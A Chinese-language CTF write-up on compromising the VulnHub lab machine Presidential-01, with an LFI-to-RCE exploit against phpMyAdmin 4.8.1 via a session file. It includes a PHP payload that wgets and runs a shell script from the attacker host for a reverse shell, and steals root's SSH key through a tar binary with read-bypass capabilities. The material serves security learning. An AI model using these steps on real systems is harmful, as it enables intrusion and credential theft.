vulnhub靶机渗透-Presidential-01

admin 2020年7月30日11:45:19评论668 views字数 3410阅读11分22秒阅读模式

环境搭建

靶机下载地址https://download.vulnhub.com/presidential/Presidential.ova

靶机描述

The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned thatthe other political party is going to perform electoral fraud by hacking into the registration systemand falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration testerto test the security of their server in order toalleviate any electoral fraud concernsYour goal is to see if you can gain root access to the server  the state is still developing theirregistration website but has asked you to test their server security before the website and registration system are launched.

This CTF was created and has been tested with VirtualBoxIt should also be compatible with VMWare and is DHCP enabled.

RatingMedium/Hard - Enumeration is your friend

靶机下载完成后将.ova文件导入VMWare,网卡设置为NET模式

环境

kali:192.168.102.128

靶机:192.168.102.134

信息收集

主机发现

nmap -sP 192.168.102.0/24

vulnhub靶机渗透-Presidential-01

得到目标靶机的ip地址为192.168.102.134

端口扫描

nmap -A 192.168.102.134 -p 1-65535

vulnhub靶机渗透-Presidential-01

扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口

先访问80端口

vulnhub靶机渗透-Presidential-01

对网站进行指纹识别

whatweb http://192.168.102.134

vulnhub靶机渗透-Presidential-01

发现该网站使用的语言为php

使用nikto扫描一下该网站

nikto -h http://192.168.102.134

vulnhub靶机渗透-Presidential-01

得到了一个config.php,访问发现什么都没有

用dirsearch进行扫描

python dirsearch.py -u http://192.168.102.134 -e php

vulnhub靶机渗透-Presidential-01

得到了一个目录和一个备份文件,/assets/目录中是一些js、css和一些图片等无法利用的文件 ,之后访问config.php.bak也是一片空白,但是查看源码的时候发现了一些可利用的信息vulnhub靶机渗透-Presidential-01

<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

发现了数据库的账号和密码等信息,但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。

在网站首页发现该网站域名为votenow.local

vulnhub靶机渗透-Presidential-01

将其添加到/etc/hosts中

vulnhub靶机渗透-Presidential-01

之后使用subrake或者wfuzz来进行子域名爆破

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

vulnhub靶机渗透-Presidential-01

找到votenow.local的一个子域名datasafe.votenow.local,将其添加到/etc/hosts中进行访问,发现该域名为phpmyadmin

vulnhub靶机渗透-Presidential-01

使用config.php.bak中的账号密码成功登陆

vulnhub靶机渗透-Presidential-01

getshell

在users表中找到了一个用户名和一串加密的密码,尝试使用john进行解密

vulnhub靶机渗透-Presidential-01

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt

解密时间很长,先尝试一下其他方法

我们具有写入权限,尝试写入一句话木马,但是找不到网站的绝对路径,所以不能利用。

查看phpmyadmin的版本为4.8.1

vulnhub靶机渗透-Presidential-01

通过searchsploit搜索该版本漏洞发现了一个本地文件包含漏洞

vulnhub靶机渗透-Presidential-01

vulnhub靶机渗透-Presidential-01

可根据其给出的方法进行getshell

首先执行select '<?php phpinfo();exit;?>'

vulnhub靶机渗透-Presidential-01

之后再包含session文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_04v0doqg66krlm6e0qqm2rt0vrl3dq7j

vulnhub靶机渗透-Presidential-01

可以看到成功执行了php代码,使用同样的方法进行反弹shell

先在kali的网站根目录创建一个shell.sh来供靶机下载
vulnhub靶机渗透-Presidential-01

之后执行sql语句

select '<?php system("wget 192.168.102.128/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

在kali中使用nc监听7777端口

之后包含session文件即可获得一个shell

vulnhub靶机渗透-Presidential-01

这时通过john破解的密码也破解出来了,密码为Stella,尝试登录一下

vulnhub靶机渗透-Presidential-01

显示权限拒绝
vulnhub靶机渗透-Presidential-01

还是使用开始得到的一个shell,这个shell输入字母会自动变成双写,很不方便,使用一下命令即可

python -c 'import pty; pty.spawn("/bin/bash")'

stty raw -echo

vulnhub靶机渗透-Presidential-01

提权

当前用户为apache,权限很低,并且不知道密码限制了权限的提升。我们可以先切换到admin用户,其密码经过爆破为Stella

vulnhub靶机渗透-Presidential-01

尝试sudo提权

sudo -l #查看当前用户sudo⽀持的命令

vulnhub靶机渗透-Presidential-01

不能使用sudo进行提权。。

尝试寻找一些其他有用的信息

在服务器根目录下发现了两个文件

vulnhub靶机渗透-Presidential-01

notes.txt提示利用新命令备份和压缩敏感文件,user.txt里面是一段md5,破解未成功

常见的压缩命令为tar,看看tar的位置

whereis tar
cd /usr/bin

vulnhub靶机渗透-Presidential-01

在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了

在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件

getcap -r / 2>/dev/null

vulnhub靶机渗透-Presidential-01

vulnhub靶机渗透-Presidential-01

可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件

我们可以通过读取root用户的SSH私钥来进行免密登陆

cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082

vulnhub靶机渗透-Presidential-01

成功获得root权限
vulnhub靶机渗透-Presidential-01

总结

工具和知识点:

  • nmap

  • whatweb

  • nikto

  • dirsearch

  • john

  • searchsploit

  • wfuzz爆破子域名

  • phpmyadmin4.8.1本地文件包含getshell

  • 利用capabilities 机制提权

参考文章:Linux Capabilities 简介

本文来源于互联网

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年7月30日11:45:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶机渗透-Presidential-01http://cn-sec.com/archives/78626.html

发表评论

匿名网友 填写信息